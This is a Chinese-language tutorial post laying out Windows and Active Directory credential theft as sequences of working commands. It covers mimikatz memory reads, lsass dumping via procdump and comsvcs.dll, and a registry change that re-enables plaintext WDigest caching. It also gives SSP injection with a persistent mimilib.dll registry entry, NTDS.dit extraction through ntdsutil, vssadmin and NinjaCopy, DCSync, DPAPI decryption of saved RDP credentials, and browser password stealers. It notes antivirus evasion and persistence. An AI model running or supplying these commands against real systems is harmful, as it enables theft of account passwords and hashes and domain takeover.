赞
踩
sam文件是位于C\windows\system32\config\目录下的,用于存储本地所有用户的凭证
如果电脑是DC机,域里面的账号密码就不是存储在这了
抓密码主要原理
1.读sam文件
2.读lsass.exe进程的内存数据
- privilege::debug
- token::elevate
- lsadump::sam
离线读取的意思就是,我们不需要再本地读取,可以将SAM文件复制到我们自己的电脑上然后使用工具读取,这里我们主要读取的NTLN-HASH值
- 1.通过reg命令导出
- reg save hklm\sam sam.hive
- reg save hklm\system system.hive
- 2.使用PS(Copy-VSS)脚本
- import-module Copy-VSS.ps1
- powershell Copy-VSS
将文件下载到本地,然后使用mimikatz进行本地读取
直接输入下面命令即可
lsadump::sam /sam:sam.hive /system:system.hive
- mimikatz命令
- privilege::debug
- 下面这些都是通过读内存获取明文密码,只是方法不同
-
- sekurlsa::msv 获取HASH (LM,NTLM)
- 通过特征码读lsasvr.dll(lsass的调用文件)
-
- sekurlsa::wdigest 通过可逆的方式去内存中读取明文密码
- 通过特征码读wdigest.dll
-
- sekurlsa::Kerberos 获取域管理员的明文密码
-
- sekurlsa::tspkg 通过tspkg读取明文密码
- 通过特征码读tspkg.dll
-
- sekurlsa::livessp 通过livessp 读取明文密码
-
- sekurlsa::ssp 通过ssp 读取明文密码(ssp相当于一个api)
- windows在身份验证机制时,ssp可以做一个扩展。lsass在运行的时候会加载ssp
-
- sekurlsa::logonPasswords 通过以上各种方法读取明文密码
- 导出方式一
- 使用任务管理器
- 右键lsass,创建转储文件,然后根据地点去找那个文件
-
- 导出方式二
- 使用procdump 导出lsass.dmp文件,
- ProcDump 是一个命令行实用工具,其主要用途是在管理员或开发人员可用于确定峰值原因的峰值期间监视 CPU 峰值和生成故障转储的应用程序,微软的一般不会被杀软杀掉
-
- 命令:procdump.exe -accepteula -ma lsass.exe lsass.dmp
-
- 导出方式三
- 使用powershell的Out-MiniDump.ps1脚本
-
-
- 命令: import-Modele Out-MiniDump.ps1
- Get-Process lsass | Out-Minidump
-
- 导出方式四
- comsvcs.dll,系统自带。通过comsvcs.dll的导出函数MiniDump实现dump内存
-
-
- 命令:
- 1、首先查看lsass.exe进程PID:
- tasklist | findstr lsass.exe
- 2、使用powershell导出到c盘
- powershell.exe rundll32 C:\windows\system32\comsvcs.dll, MiniDump PID C:\lsass.dmp full
-
- mimikatz读取导出的文件
- 命令: mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"
- Win7、 Win2008这样的机器内存中是存储明文的密码,但是在2012之后的机器(win10、win 8、win11、2012、2016)或者安装了KB2971997补丁是内存中就不在存储明文的密码了
-
- 不过读sam文件中的hash值还是可以读的
- 在Windows2012系统及以上的系统,默认在内存缓存中禁止保存明文密码的。攻击者可以通过修改注册表的方式抓取明文,需要用户重新登录后才能成功抓取
-
- 1、先查询一下是否存在该值
- reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /V UseLogonCredential
-
- 2、修改UseLogonCredential值为1,这里注意一定要是最高管理员权限
- reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
-
- 3、现在内存中就可以存储明文的密码了,但是因为密码在内存中,需要锁屏或者注销用户然后重新登录后,内存中就保留密码了
- 1. rundll32.exe user32.dll,LockWorkStation 锁屏
- 2. query user 查询登录id
- logoff ID 注销用户
-
- 4、使用mimikatz读取内存中的密码
- privilege::debug
- sekurlsa::logonPasswords
注册表中有了UseLogonCredential这个值,并且为1才能抓到明文密码
- Mimikatz中,有写好的恶意的SSP,他可以提供本地认证时候对明文账号密码进行记录,我们需要将SSP注入到系统内存中,就可以获取本地的明文账号密码,因为是注入内存所以重启后就失效了,这个攻击也叫(SSP注入)
-
- 第一步:将SSP注入内存
- 使用mimikatz
- misc::memssp
-
- 第二步:进行锁屏等操作
- 命令:rundll32.exe user32.dll,LockWorkStation
- 等待管理员输入争取的账号密码后在C:\Windows\System32\mimilsa.log,存放正确的账号密码
在cs上操作时,读取不了mimilsa.log文件
可以使用计划任务
- 1.把这个密码文件copy到桌面
- 2.把这个密码文件发送到你的云上
-
- 计划任务 创建一个名字是“copy”的计划任务,任务是执行桌面上的1.bat
- schtasks /create /tn copy /sc onstart /tr C:\Users\cheshi\Desktop\1.bat /ru system /f
-
- 执行“copy”的计划任务
- schtasks /run /i /tn "copy"
-
- bat文件 copy任务
- copy C:\Windows\System32\mimilsa.log C:\Users\cheshi\Desktop\mimi.txt
- 将SSP注入到内存中,有一个弊端就是在内存中,只要电脑重启了就会失效,如果想要永久生效就需要将SSP添加到注册表中,之后系统重启就会加载SSP,这样就会获取明文账号密码
-
- 第一步:在Mimikatz中有一个mimilib.dll文件,这个就是SSP,将这个文件复制到C:\Windows\System32目录下
-
- 第二步:修改注册表,重启后就会加载SSP
- reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v "Security Packages" /t REG_MULTI_SZ /d mimilib.dll /f
- 密码将会生成在C:\Windows\System32\kiwissp.log
-
-
- 如果使用cs,那么和上面一样,需要使用计划任务,否则看不到密码文件
- NTDS.DIT为DC的数据库,内容有域用户、域组、用户hash等信息,域控上的ntds.dit只有可以登录到域控的用户(如域管用户、DC本地管理员用户)可以访问,为了进一步保护密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。
-
- 位置:C:\Windows\NTDS\ntds.dit
-
- 域控上的sam文件存的是域控本地的账号密码
-
- 有三种读取方式
- 1、离线读取,将NTDS文件复制到攻击者的本地,然后使用工具读取
- 2、在线读取,通过给域控的电脑上传读取的工具,进行在线读取
- 3、远程读取,不需要上线域控,可以通过Dcsync远程读取
从Windows XP SP2和Windows Server 2003开始,微软就向Windows操作系统中引入了一项名叫卷影拷贝的服务。
这种服务允许Windows系统以自动或手动的方式对文件或磁盘卷宗的当前状态进行备份(或快照),需要注意的是,在这个过程中,即使文件处于打开状态下该服务仍然可以直接进行文件备份
Ntds.dit是默认被Windows系统锁定的,想要读取该文件就要利用卷影拷贝服务,得到Ntds.dit文件的副本。卷影拷贝服务(VSS)本质上是属于快照技术的一种,主要用于备份和恢复,即使目标文件被处于锁定状态。
ntdsutil.exe工具进行拷贝---域控服务器上默认有的工具
工具介绍:ntdsutil.exe是一个为活动目录提供管理机制的命令行工具,该工具默认安装在域控服务器上,可以在域控制器上直接操作,2003、2008、2012、2016等,提取NTDS过程分为3步
- 第一步:创建一个NTDS快照
- 命令: ntdsutil.exe snapshot "activate instance ntds" create q Local Destination
- 可以看到快照的uid是8dd1fc52-c0b8-4d62-b6ed-3c3c946c3077
- 第二步:加载快照到磁盘中
- 命令: ntdsutil.exe snapshot "mount {8dd1fc52-c0b8-4d62-b6ed-3c3c946c3077}" q q
- 可以看到快照的地址C:\$SNAP_202308051804_VOLUMEC$\
- 3、第三步:复制快照中的ntds.dit文件到桌面上
- 命令:copy '快照地址\Windows\NTDS\ntds.dit' 目标地址
- copy C:\\$SNAP_202308051804_VOLUMEC$\Windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds\ntds.dit
- 第四步:删除快照
- 命令:ntdsutil.exe snapshot "umount {bf50c558-aa39-414d-9cc2-32e6dd3aebdc}" "delete {bf50c558-aa39-414d-9cc2-32e6dd3aebdc}" q q
在cs上操作需要system权限
vssadmin是Windows Server 2008及Windows 7系统以上提供的VSS管理工具,它可以用于创建或删除卷影副本,列出卷影副本的信息,他需要两步就可以进行提取NTDS文件
- 1、第一步:创建一个C盘快照
- 命令: vssadmin create shadow /for=c:
- 2、第二步:将快照中的NTDS文件进行复制出来
- 命令: copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds.dit
- 最后一步就是删除快照
- 命令: vssadmin delete shadows /for=c: /quiet
可以通过创建一个 IFM 的方式获取 ntds.dit,在使用 ntdsutil 创建媒体安装集(IFM)时,需要进行生成快照、加载、将 ntds.dit 和计算机的 SAM 文件复制到目标文件夹中等操作
一定要切换路径到c盘下,且这个test文件夹一定要是空的,或者test文件夹不存在
1、 ntdsutil "ac i ntds" "ifm" "create full c:/test" q q
此时 ntds.dit 将被保存在 C:\test\Active Directory 下,SYSTEN 和 SECURITY 两个文件将被保存在 C:\test\registry 文件夹下
第二步:将NTDS文件进行复制出来
copy "C:\test\Active Directory\ntds.dit" C:\Users\Administrator\Desktop\ntds.dit
vssown 是一个 vbs 脚本,可以创建和删除卷影副本
- 1、启动卷影复制服务
- 命令: cscript vssown.vbs /start
- 2、创建一个C盘的卷影副本
- 命令: cscript vssown.vbs /create c
- 3、列出当前卷影副本
- 命令:cscript vssown.vbs /list
- 4、复制文件到指定的目录
- 命令:copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy6\windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds.dit
- 5、删除卷影副本
- 命令:cscript vssown.vbs /delete {5B5F2D0E-823F-4202-9319-848998791268}
- PS脚本可以直接导出
- Import-Module .\Copy-VSS.ps1
- Copy-VSS
- Invoke-NinjaCopy也是PS脚本可以直接导出NTDS和system文件
- 命令:
- Import-Module -name .\Invoke-NinjaCopy.ps1
- Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -LocalDestination "c:\ntds.dit"
- Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "c:\system.hiv"
- 命令:secretsdump.exe -system system.hive -ntds ntds.dit LOCAL
-
- 能导出所有的账户,包括机器账户
- 命令: NTDSDumpEx -d ntds.dit -s system -o 1.txt
-
- 能导出很多账户,但是不会导出机器账户
- 命令:
- 1、python dsusers.py datatable.4 link_table.7 output --syshive system.hive --passwordhashes --
- pwdformat ocl --ntoutfile ntout --lmoutfile lmout | tee 1.txt 读取用户信息
- 2、python dscomputers.py datatable.4 computer_output --csvoutfile 2.csv 读取机器信息
-
- 读的比上面的都详细
- 本工具是PS脚本,使用命令如下:
- 1、安装DS Internals
- Install-Module DSInternals -Force安装方式(5.0版本)
- Import-Module .\DSInternals 导入方式(4.0版本)
- 2、导出 hash,并保存在 txt 文件里
- $key = Get-Bootkey -SystemHivePath 'system.hiv'
- Get-ADDBAccount -All -DBPath 'ntds.dit' -Bootkey $key | Out-File 1.txt
-
- 读的内容也比较详细
在线的方式就是直接读取,不需要在导出ntds文件到自己的电脑中,直接用工具就可以读
取在线读取需要考虑几个问题:
1、工具是否被杀软杀掉
2、如果域太大读取时间太久容易死机
- 使用MimiKatz
- 命令:
- lsadump::dcsync /domain:abc.com /all /csv(读取所有)
- lsadump::dcsync /domain:abc.com /user:administrator(读取单个用户)
- QuarksPWDump工具
- 命令: Quarks PW Dump.exe --dump-hash-domain --ntds-file ntds.dit
- Ntds这个文件必须先要导出来
- 命令: secretsdump.exe 域名/administrator:密码@IP
-
- 如果密码中有@符,就secretsdump.exe 域名/administrator@IP
- 回车,然后再输密码
-
- 能读到东西较多
- 他是一个PS工具
- 命令:
- Import-Module .\Invoke-DCSync.ps1
- Invoke-DCSync
dcsync:域控同步:在内网中一般不是一个域控,会有域树或者域森林等,域控之间是要同步数据的,不同的域控15分钟之间要发起一次数据同步的请求,请求里面就包含同步的数据,这里采用的协议是DRS(目录复制服务),这个就是DCsync
要运行这个DRS服务,需要什么用户才能运行
1. Administrators组内的用户
2. Domain Admins组内的用户
3. Enterprise Admins组内的用户
4. 域控制器的计算机帐户
域控的Administrator 和 system 也可以
- 利用思路
- 1、找到有权限的用户,从而远程读取域控用户信息,可以进行PTH 黄金 白银票据攻击
- 2、如果控制了域控,可以在域控添加一个管理员账号从而进行权限维持
- 3、可以添加一个普通的用户,修改ACL从而实现可以使用Dcsync,进行权限维持
- mimikatz工具
- lsadump::dcsync /domain:abc.com /all /csv(读取所有)
- lsadump::dcsync /domain:abc.com /user:administrator(读取单个用户)
-
- secretsdump工具
- 命令: secretsdump.exe 域名/用户名或者hash:密码@IP
- Credentials的解密是Windows系统信息收集中非常重要的一环,接下来我们就讲解RDP凭证的抓取和破解
- 在远程连接中点击了保留凭证,这个过程是可逆的,可以将保存的密码进行还原
-
- 还原的原理:Windows就通过MasterKey将我们的密码加密后保存在本地,由于Windows还需要解密使用这个密码,所以这个过程是可逆,也正因为这一缘由,我们只要拿到MasterKey就能将密码解出来。
-
-
- 查看凭据的方法
- 1、查看mstsc的连接记录
- 命令:cmdkey /list
- 2、查找本地的Credentials
- 命令:dir /a %userprofile%\appdata\local\microsoft\credentials\*
- 1、使用mimikatz获取该文件的MasterKey的guid
- 命令: mimikatz dpapi::cred /in:凭据绝对路径
- //绝对路径在上面查找本地的credentials命令中获取
-
- 2、找到内存中对应的MasterKey
- 命令: privilege::debug
- mimikatz sekurlsa::dpapi
-
- 3、最后打开mimikatz通过MasterKey值去解密凭据文件
- 命令: dpapi::cred /in:凭据文件路径 /masterkey:masterkey值
- 1、下载目标lsass内存
- 2、下载凭据到本地
- 3、用mimikatz载入dump回来的内存
- 命令: Sekurlsa::minidump lsass1.dump
- 4、获取Credentials的GUID
- 导入到本地的,一般是在同目录下,用dir /a看看文件名
- mimikatz dpapi::cred /in:凭据绝对路径
- 5、获取内存中所有的MasterKey
- 命令:sekurlsa::dpapi
- 6、利用MasterKey解密
- 命令:dpapi::cred /in:凭据文件路径 /masterkey:masterkey值
- 浏览器中保存着账号密码,还有历史记录,书签,等等很多有用的信息。
-
- 一、BrowserGhost浏览器抓取(火狐,权限需求高)
- 这是一个抓取浏览器密码的工具,实现system抓机器上其他用户的浏览器密码
- 地址:https://github.com/QAX-A-Team/BrowserGhost
- 用法非常简单,直接运行就行
-
- 一、Sharp-HackBrowserData
- Sharp-HackBrowserData ,谷歌、火狐、IE、Vivaldi等常见的浏览器都能抓
- 用法非常简单,直接运行就行
- SharpDecryptPwd工具
- SharpDecryptPwd-master对密码已保存在 Windwos 系统上的部分程序进行解析 ,Navicat,TeamViewer, FileZilla,WinSCP,Xmangager系列产品
-
-
- LaZagne工具
- 是⽤于开源应⽤程序获取⼤量的密码存储在本地计算机上。每个软件都使⽤不同的技术(明⽂、API、⾃定义算法、数据库等)存储其密码。开发此⼯具的⽬的是为最常⽤的软件查找这些密码
-
- 用法:LaZagne.exe all
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。